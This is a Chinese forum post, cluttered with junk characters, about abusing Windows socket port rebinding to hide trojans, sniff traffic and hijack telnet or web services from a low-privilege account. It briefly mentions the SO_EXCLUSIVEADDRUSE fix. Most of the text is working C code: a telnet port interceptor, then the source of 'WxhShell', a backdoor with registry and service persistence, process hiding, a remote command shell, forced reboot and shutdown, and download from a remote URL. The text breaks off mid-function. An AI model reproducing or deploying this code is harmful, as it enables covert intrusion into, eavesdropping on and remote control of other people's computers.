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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ir]uFOj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }Bc6:a  
k.lnG5e  
  saddr.sin_family = AF_INET; kN}.[enI~  
;OdUH   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /au\OBUge  
j ^_ G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  bM-Y4[  
,Y`C7Px  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {qx"/;3V  
w:umr#  
  这意味着什么?意味着可以进行如下的攻击: Kjf#uU.7  
]AHUo;(f%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tl=vgs1  
Hy `r}+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e,4!/|H:  
55!9U:{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o_5|L9  
Vm6^'1CY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ikxSWO_Y=  
9s7B1Pf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c3 wu&*p{  
J@Orrz2q#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )E4COw+  
w1KQ9H*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i5AhF\7F9  
*=sU+x&X  
  #include ]7VK&YfN  
  #include #Kh`ATme  
  #include p[/n[@<8=  
  #include    zc2,Mn2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &c\8` # 6  
  int main() Cu?$!|V  
  { QWxQD'L'  
  WORD wVersionRequested; ~cZ1=,P  
  DWORD ret; zh4o<f:-  
  WSADATA wsaData; d")r^7  
  BOOL val; :qT>m  
  SOCKADDR_IN saddr; keWgbj  
  SOCKADDR_IN scaddr; ,>g 6OU2~6  
  int err; !PQRlgcG  
  SOCKET s; *FAg^G&1  
  SOCKET sc; ]':C~-RV{  
  int caddsize; jG^~{7#  
  HANDLE mt;  ?Z!KV=  
  DWORD tid;   w%ip"GT,  
  wVersionRequested = MAKEWORD( 2, 2 ); h]=chz  
  err = WSAStartup( wVersionRequested, &wsaData ); \GWq0z&  
  if ( err != 0 ) { 1";~"p2(  
  printf("error!WSAStartup failed!\n"); 2`},;i~[  
  return -1; e-s@@k  
  } ECSC,oJ  
  saddr.sin_family = AF_INET;  qJK^i.e  
   Kr#=u~~M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~q4y'dBy*  
K)14v;@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hlVP_h"z  
  saddr.sin_port = htons(23); O]Hg4">f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s R~&S))  
  {  [:k'VXL  
  printf("error!socket failed!\n"); |z4/4Y@  
  return -1; O3_Mrn(R  
  } ZD<,h` lZ  
  val = TRUE; nJ?C4\#3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f"tO*/|`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .dygp"*  
  { 5bAXa2Vt  
  printf("error!setsockopt failed!\n"); 3}+/\:q*  
  return -1; h1Lp:@:|  
  } u1"e+4f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; she`_'?5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ufJFS+?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :X!(^ a;]  
u7;A`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?1{`~)"  
  { i~,k2*o  
  ret=GetLastError(); zZxP= c  
  printf("error!bind failed!\n"); U %4g:s  
  return -1; f 4 _\F/  
  } oY] VP+b!  
  listen(s,2); qYh,No5\;t  
  while(1) ^AM_A>HnG  
  { 1t0F J@)*  
  caddsize = sizeof(scaddr); -r2cK{Hhp&  
  //接受连接请求 2 9]8[Z,4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d#*5U9\z  
  if(sc!=INVALID_SOCKET) ZChY:I$<  
  { `%Ghtm*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1^;h:,e6  
  if(mt==NULL) gv,T<A?Z2  
  { q^cFD  
  printf("Thread Creat Failed!\n"); @b/2'  
  break; GKSy|z  
  } GlZ9k-ZRF  
  } =gn}_sKNE  
  CloseHandle(mt); 3oKGeB;Ja  
  } ;Y '\:  
  closesocket(s); F:g{rm[  
  WSACleanup(); ;?!rpj  
  return 0; {|gJC>f@  
  }   s,v#lJ]d0W  
  DWORD WINAPI ClientThread(LPVOID lpParam) rrWk&;?  
  { 6'ZnyWb  
  SOCKET ss = (SOCKET)lpParam; v6VhXV6$|  
  SOCKET sc; *N r|G61  
  unsigned char buf[4096]; kn"x[{d  
  SOCKADDR_IN saddr; O}-7 V5  
  long num; 2P ?Iu&  
  DWORD val; O)|4>J*B  
  DWORD ret; $te,\$&}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C6M/$_l&a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?GarD3#A  
  saddr.sin_family = AF_INET; DG\YZV4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PoJyWC  
  saddr.sin_port = htons(23); +I n"OR%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h /QP=Zd  
  { f ti|3c  
  printf("error!socket failed!\n"); KaE;4gwM  
  return -1; /&d`c=nH  
  } ->&VbR)  
  val = 100; --YUiNhh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B9DxV>mr\r  
  { l&Ghs@>Kl  
  ret = GetLastError(); 1!wEXH(  
  return -1; !#I/be]  
  } d`<^+p)oy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DB%AO:8  
  { rOHW  
  ret = GetLastError(); r)]CZ])  
  return -1; jgKL88J*\  
  } $ cK B+}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w00\1'-Kz  
  { 5b`xN!c  
  printf("error!socket connect failed!\n"); p}DF$k%`  
  closesocket(sc); /_OZ1jX  
  closesocket(ss); w LN2`ucC  
  return -1; r&3o~!  
  } {kl{mJ*  
  while(1) s]vJUC,s  
  { #K1BJ#KUt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E D^rWE_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pb6^sA%l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O;e8ft '|  
  num = recv(ss,buf,4096,0); s!/holu  
  if(num>0) $%%>n ^??  
  send(sc,buf,num,0); MupW=3.38  
  else if(num==0) rK QASRF5*  
  break; sp Q4m  
  num = recv(sc,buf,4096,0); 9X$#x90  
  if(num>0) +#uNQ`1v  
  send(ss,buf,num,0); )=E~CpKV  
  else if(num==0) Dyk[u g5  
  break; X ' #$e{  
  } u:uSsAn0$  
  closesocket(ss); Q P=[ Vw  
  closesocket(sc); &[ u6oAR  
  return 0 ; a][pTC\rb  
  } b4)*<Zp`  
t&9as}  
qbU1qF/  
========================================================== :#\B {)(  
|J<pLz  
下边附上一个代码,,WXhSHELL F!)M<8jL&9  
02W4-*)  
========================================================== rO(TG  
nGv23R(?G  
#include "stdafx.h" '9 *|N=  
>'ksXA4b  
#include <stdio.h> l$-=Pqb  
#include <string.h> tt7PEEf  
#include <windows.h> :otY;n-  
#include <winsock2.h> b =K6IX;  
#include <winsvc.h> 5%QC ][,  
#include <urlmon.h> UAx.Qq  
{1Ju} =69  
#pragma comment (lib, "Ws2_32.lib") AB2mt:^  
#pragma comment (lib, "urlmon.lib") !dyxE'T2  
U0h )pdo  
#define MAX_USER   100 // 最大客户端连接数 8O8\q ;US  
#define BUF_SOCK   200 // sock buffer =mKfFeO.  
#define KEY_BUFF   255 // 输入 buffer <78$]Z2we  
]27>a"p59Y  
#define REBOOT     0   // 重启 vo(g0Au)  
#define SHUTDOWN   1   // 关机 .DDg%z  
h v$uH7Fz  
#define DEF_PORT   5000 // 监听端口 lh,ylh  
!,Xyl} #  
#define REG_LEN     16   // 注册表键长度 ?W[J[cb  
#define SVC_LEN     80   // NT服务名长度 | rE!  
]aC ':55(  
// 从dll定义API +36H%&!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yhcNE8mkQ/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SY%A"bC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^))PCn_zb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sf  024  
z5XYpi_;[  
// wxhshell配置信息 zwM"`z  
struct WSCFG { O.@g/05C  
  int ws_port;         // 监听端口 @sc8}"J]#  
  char ws_passstr[REG_LEN]; // 口令 `zdH1p^w  
  int ws_autoins;       // 安装标记, 1=yes 0=no +1otn~(E  
  char ws_regname[REG_LEN]; // 注册表键名 K\RWC4  
  char ws_svcname[REG_LEN]; // 服务名 On#;)35M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K0tV'Ml#"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $|4cJ#;^L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !]$V9F{K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BZovtm3 E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _1I K$gb[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \hs/D+MCk  
vuYO\u+ud  
}; =nJ{$%L\x,  
uQH%.A  
// default Wxhshell configuration `wNm%*g  
struct WSCFG wscfg={DEF_PORT, GwcI0~5  
    "xuhuanlingzhe", (C,e6r Y  
    1, xDR9_  
    "Wxhshell", 'S =sj}X  
    "Wxhshell", `_|aeoK_  
            "WxhShell Service", {DU"]c/S  
    "Wrsky Windows CmdShell Service", iJFr4o/R  
    "Please Input Your Password: ", ,Z^Ca15z  
  1, ZTN(irK  
  "http://www.wrsky.com/wxhshell.exe", ToV6lS"  
  "Wxhshell.exe" `YPe^!` $  
    }; \Ke8W,)ew  
w#oGX  
// 消息定义模块 G3G/ xC"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $0_^=D EW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q(,cYu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y<TOqn  
char *msg_ws_ext="\n\rExit."; )T9;6R$b  
char *msg_ws_end="\n\rQuit."; .Y;b)]@f  
char *msg_ws_boot="\n\rReboot..."; LIF|bE9kd  
char *msg_ws_poff="\n\rShutdown..."; =-_)$GOI'  
char *msg_ws_down="\n\rSave to "; R,%_deV\(  
^EF'TO$  
char *msg_ws_err="\n\rErr!"; T .kyV|  
char *msg_ws_ok="\n\rOK!"; u#1%P5r&X  
K}x_nW  
char ExeFile[MAX_PATH]; ]bm=LA  
int nUser = 0; wqUQ"d  
HANDLE handles[MAX_USER]; [u`6^TycP  
int OsIsNt; {(4# )K2g%  
yMb|I~k  
SERVICE_STATUS       serviceStatus; BWh }^3?l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; joqWh!kv7U  
X1oGp+&  
// 函数声明 ^-hErsK  
int Install(void); Y&K <{\vE  
int Uninstall(void); +c--&tBo  
int DownloadFile(char *sURL, SOCKET wsh); Vo\H<_=G  
int Boot(int flag); b._m8z ~  
void HideProc(void); qy ,"X)^#  
int GetOsVer(void); gyev5txn  
int Wxhshell(SOCKET wsl); >^=gDJ\a  
void TalkWithClient(void *cs); NgVR,G|1  
int CmdShell(SOCKET sock); !;v.>.lw  
int StartFromService(void);  x0A7O  
int StartWxhshell(LPSTR lpCmdLine); 'Dath>Y=  
M(enRs3`O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )u*^@Wo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T/l1qcf`wT  
hJ f2o  
// 数据结构和表定义 L[y Pjw:0  
SERVICE_TABLE_ENTRY DispatchTable[] = <r~wZ}s  
{ bAEg$A  
{wscfg.ws_svcname, NTServiceMain}, 5dl,co{q  
{NULL, NULL} F}36IM9/:  
}; b*EXIzQ  
c7K!cfO:{N  
// 自我安装 C5*xQlCq}  
int Install(void) 6S1m<aH6  
{ 6ZOy&fd,Ty  
  char svExeFile[MAX_PATH]; d(;4`kd*N  
  HKEY key; U]R~gy}#  
  strcpy(svExeFile,ExeFile); =sgdkAYwP  
F}Srn;V  
// 如果是win9x系统,修改注册表设为自启动 p=Y>i 'CG  
if(!OsIsNt) { 1/;o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Lz]Z h=ZU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MsOs{2 )2  
  RegCloseKey(key); </[: 9Cl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fky?\ec  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Udgqkl  
  RegCloseKey(key); lG:kAtx4  
  return 0; Da.G4,vLh  
    } )C~9E 5E  
  } H:QhrL+7_  
} YcDe@Zuwn  
else { n V&cC  
2g-` ]Vqb  
// 如果是NT以上系统,安装为系统服务 HrM$NRhu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r!GW= u'  
if (schSCManager!=0) I G ~`i I  
{ /=:j9FF  
  SC_HANDLE schService = CreateService I&VTW8jB  
  ( `yiC=$*[  
  schSCManager, `A@w7J'  
  wscfg.ws_svcname, "i^ GmVn  
  wscfg.ws_svcdisp, bHE2,;o  
  SERVICE_ALL_ACCESS, P8Qyhc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j5$GFi\kB  
  SERVICE_AUTO_START, JRaq!/[(  
  SERVICE_ERROR_NORMAL, 9=`Wp6Gmn  
  svExeFile, ac{?+]8}  
  NULL, fyknP)21I  
  NULL, TrS8h^C  
  NULL, ^teq[l$;  
  NULL, !69&Ld  
  NULL ^h' Sla  
  ); (V:E2WR  
  if (schService!=0) AIYmS#V1W2  
  { fWnD\mx?0  
  CloseServiceHandle(schService); .B2]xfo"`  
  CloseServiceHandle(schSCManager); mHc>"^R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SRIA*M.B}  
  strcat(svExeFile,wscfg.ws_svcname); 4<dcB@v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H,unpZ(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K<`osdp=&  
  RegCloseKey(key); 9;.(u'y|  
  return 0; dP?Ge}  
    } / P|fB]p  
  } w'MGA  
  CloseServiceHandle(schSCManager); Mn1Pt|_@!  
} 8Me:Yp_Xt  
} x+8_4>,>Y7  
W!Hm~9fz  
return 1; `]Fx.)C#  
} 3<?   
Q/uwQ o/  
// 自我卸载 W&* f#E  
int Uninstall(void) nRL. ppUI  
{ RqEH| EUZ  
  HKEY key; o8/ ;;*  
N'r3`8tS  
if(!OsIsNt) { IN8>ZV`j)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~(!XY/0e  
  RegDeleteValue(key,wscfg.ws_regname); *_a@z1  
  RegCloseKey(key); j`^$#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 61puqiGG^  
  RegDeleteValue(key,wscfg.ws_regname); u H/w\v_I  
  RegCloseKey(key); F <>!kK/c  
  return 0; aRG2@5  
  } mMsTyM-f  
} (" LQll9  
} #e' }.4cr  
else { &j(+/;A  
d ;vT ~;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yjfat&$  
if (schSCManager!=0) j83p)ido  
{ ;};wq&b#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IDnC<MO>  
  if (schService!=0) /}Jj  
  { eF[63zx5*  
  if(DeleteService(schService)!=0) { >:D j\"o  
  CloseServiceHandle(schService); ml\4xp,  
  CloseServiceHandle(schSCManager); i4^o59}8  
  return 0; 3nZo{p:E  
  } :0s]U_h  
  CloseServiceHandle(schService); Yjx|9_|Xn  
  } =bEda]  
  CloseServiceHandle(schSCManager); .e_cgad :  
} %Gt .m  
} . 'Y]R3\M+  
rn<PR*  
return 1; %-d]X{J:  
} sQMFpIrr  
6/rFHY2q  
// 从指定url下载文件 ^tXJj:wtS  
int DownloadFile(char *sURL, SOCKET wsh) Ei2'[PK  
{ :=J,z,H_U  
  HRESULT hr; D1__n6g[  
char seps[]= "/"; ,yd?gP-O  
char *token; s`0QA!G{-  
char *file; .'Vww  
char myURL[MAX_PATH]; F&&$Qn_+  
char myFILE[MAX_PATH]; r#XT3qp$d  
j ?MAED  
strcpy(myURL,sURL); mauI42  
  token=strtok(myURL,seps); ?Wz8[u  
  while(token!=NULL) eut-U/3:#  
  { j$+nKc$  
    file=token; R) c'#St  
  token=strtok(NULL,seps); v8y1b%  
  } ~JaAii{  
3`k;a1Z#O'  
GetCurrentDirectory(MAX_PATH,myFILE); p\bDY  
strcat(myFILE, "\\"); /n>qCuw  
strcat(myFILE, file); hNzB4 p  
  send(wsh,myFILE,strlen(myFILE),0); ['T:ea6B  
send(wsh,"...",3,0); 78/Zk}I]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -]QD|w3dp  
  if(hr==S_OK) 1;{Rhu7* k  
return 0; >(;{C<6|^  
else zzyHoZJP  
return 1; QDu2?EYZq  
7(5 4/  
} }5hqD BK?  
#W|'1 OX4  
// 系统电源模块 )'~6HO8Z  
int Boot(int flag) ( vca&wI!  
{ nX=$EQiH  
  HANDLE hToken; %T~ig[GstX  
  TOKEN_PRIVILEGES tkp; |>#{[wko  
THS.GvT9[  
  if(OsIsNt) { `|/<\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QDhOhGK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &sU?Ok6  
    tkp.PrivilegeCount = 1; t{.8|d@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }yz (xH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pim!.=vN/U  
if(flag==REBOOT) {  0}CGuws  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fP. 6HF_p_  
  return 0; >Vwc3d  
} | y2w9n0D  
else { Gy6l<:;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zaK#Z?V}  
  return 0; Zd')57{  
} _iir<}  
  } lQe%Yh >rl  
  else { SF>c\eTtx  
if(flag==REBOOT) { fP(d8xTx2y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b4QI)z  
  return 0; =_:et 0  
} 1fZ(l"  
else { sk=-M8;\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CW,Wx:Y  
  return 0; rv|)n>m  
} %|^fi8!:|  
} l p(8E6  
Np"exFqN k  
return 1; Yj6*NZ*  
} SN1}xR$  
lx[oaCr  
// win9x进程隐藏模块 9R7 A8  
void HideProc(void) !0vG|C ;'  
{ 4#:W.]U8  
+Zaj,oEE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -(~!Jo_*'  
  if ( hKernel != NULL ) 1f":HnLRM  
  { # ?/<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +,#$:fs u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [E/\#4b  
    FreeLibrary(hKernel); Qm Ce>+  
  } Bg|5KOnd  
3_MS.iM  
return; USM4r!x  
} 1$p2}Bf {n  
5Hw~2 ?a,  
// 获取操作系统版本 "O%gFye  
int GetOsVer(void) #0y)U;dA+w  
{ &L,nqc\3D5  
  OSVERSIONINFO winfo; 9Ru8~R/\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); id2j7|$,  
  GetVersionEx(&winfo); B(n{e53 9f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WZ*ws[dVI  
  return 1; \uza=e  
  else 9*{[buZX  
  return 0; k{Me[B  
} !3*(N8_|#  
,^eYlmT>6  
// 客户端句柄模块 '8{N e!y  
int Wxhshell(SOCKET wsl) *rIk:FehLB  
{ SBIj<Yy]  
  SOCKET wsh; (4dhuT  
  struct sockaddr_in client; +ayos[<0#  
  DWORD myID; ,Qe?8En[  
>76\nGO  
  while(nUser<MAX_USER) Z(ACc9k6:'  
{ (}EB2V9Hh  
  int nSize=sizeof(client); C ihAU"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O4^8jK}  
  if(wsh==INVALID_SOCKET) return 1; uFPF!Ern  
%sX$ nmi3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A<qTg`gA  
if(handles[nUser]==0) pJt,9e6  
  closesocket(wsh); ;I}kQ!q  
else \8?Tdx=  
  nUser++; YYu6W@m]  
  } 37|&?||  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k|lcc^[0  
}5}.lJ:  
  return 0; 49dd5ddr  
} C86J IC"  
sU@nc!&Y@  
// 关闭 socket 1M 781  
void CloseIt(SOCKET wsh) Htgx`N|  
{ Xt@Z}B))pu  
closesocket(wsh); l33Pm/V2?  
nUser--; t_qNq{  
ExitThread(0); V&\[)D'c  
} \3S8 62B7  
h9Y%{v  
// 客户端请求句柄 w6W}"Uw  
void TalkWithClient(void *cs) LkK~%tY  
{ W^] 3XJP  
S7L=#+Z  
  SOCKET wsh=(SOCKET)cs; "huFA|`  
  char pwd[SVC_LEN]; (r D_(%o  
  char cmd[KEY_BUFF]; Ju :CMkv  
char chr[1]; < VSA  
int i,j; d BJJZ^(  
Dqe^E%mc  
  while (nUser < MAX_USER) { 30.@g[~  
KjE+QUa  
if(wscfg.ws_passstr) { y10h#&k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cQ" ~\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pFHz"]  
  //ZeroMemory(pwd,KEY_BUFF); thvYL.U :  
      i=0; nC}6B).el  
  while(i<SVC_LEN) { FZtfh  
CCWg{*og  
  // 设置超时 \u>"s   
  fd_set FdRead; A0q|J/T  
  struct timeval TimeOut; $a"n1ou  
  FD_ZERO(&FdRead); m:WyuU<  
  FD_SET(wsh,&FdRead); !cAyTl(_  
  TimeOut.tv_sec=8; NZ-\h  
  TimeOut.tv_usec=0; 6^"=dn6K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0 Emr<n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ie`13 L2  
PV4(hj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r;Gi+Ca5  
  pwd=chr[0]; .72S oT  
  if(chr[0]==0xd || chr[0]==0xa) { l:<?{)N`  
  pwd=0; 6u`)QUmItg  
  break; YJ;j x0  
  } `^FGwx@  
  i++; &xY^OCt  
    } X(\fN[;  
8rMX9qTO@  
  // 如果是非法用户,关闭 socket #&m0WI1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CO2C{~Q5  
} l-s!A(l  
n;$5Cq!v=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IuOgxm~Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k?z98 >4  
1!1 beR]  
while(1) { Z6_N$Z.A  
A Q+]|XYo_  
  ZeroMemory(cmd,KEY_BUFF); Okm{Xx  
7A\~)U @  
      // 自动支持客户端 telnet标准   %9M~f*  
  j=0; NyVnA  
  while(j<KEY_BUFF) { lmxr oHE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g|<]B$yN#  
  cmd[j]=chr[0]; )YX 'N<[  
  if(chr[0]==0xa || chr[0]==0xd) { +AHUp)  
  cmd[j]=0; 8ZKo_I\  
  break; hlJq-*6'  
  } NDs!a  
  j++; Bnb#{tL  
    } OnF3lCmu  
'{J&M|<A  
  // 下载文件 ;B?DfWX  
  if(strstr(cmd,"http://")) { +[ R/=$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a_ `[Lj  
  if(DownloadFile(cmd,wsh)) /}PF\j9#4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tX@_fYb  
  else ;Ww7"-=sw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q"t<3-"  
  } PC[c/CoD  
  else { EC\yz H*X  
@~#Ym1{W  
    switch(cmd[0]) { 7hi"6,  
  ]6{*^4kX  
  // 帮助 ~-dV^SO  
  case '?': { 7\9>a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C%U`"-%n@7  
    break; GD:4"$)[o  
  } X*,%&6O*  
  // 安装 ~",`,ZXQy  
  case 'i': { x#Q>J"g  
    if(Install()) cP}KU5j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u_ '!_T L  
    else :pF_GkG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v $7EvFS  
    break; Vm df8[5  
    } gt ";2,;X  
  // 卸载 E-{^E.w1  
  case 'r': { IhBp%^H0-  
    if(Uninstall()) +]|Z%;im  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b L]erYm  
    else \|Ul]1pO8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )6w}<W*1E  
    break; oh KCdT~  
    } ^m /oDB-  
  // 显示 wxhshell 所在路径 \o Eo~  
  case 'p': { p<&Xd}]"^W  
    char svExeFile[MAX_PATH]; `c69 ?/5  
    strcpy(svExeFile,"\n\r"); _9?I A  
      strcat(svExeFile,ExeFile); :mS# h@l  
        send(wsh,svExeFile,strlen(svExeFile),0); i:cXwQG}B  
    break; +E;2d-x*p  
    } NFr:y<0>z  
  // 重启 a3VM '  
  case 'b': { Z1h]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c(/VYMJZ&  
    if(Boot(REBOOT)) #!9S}b$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v|ck>_" .  
    else { 7-~Q5Kr.  
    closesocket(wsh); $&=p+  
    ExitThread(0); &%2*Wu;  
    } TP}h~8 /;  
    break; O0:)X)b  
    } X<MO7I  
  // 关机 S8l1"/?aHE  
  case 'd': { 6AP~]e 8  
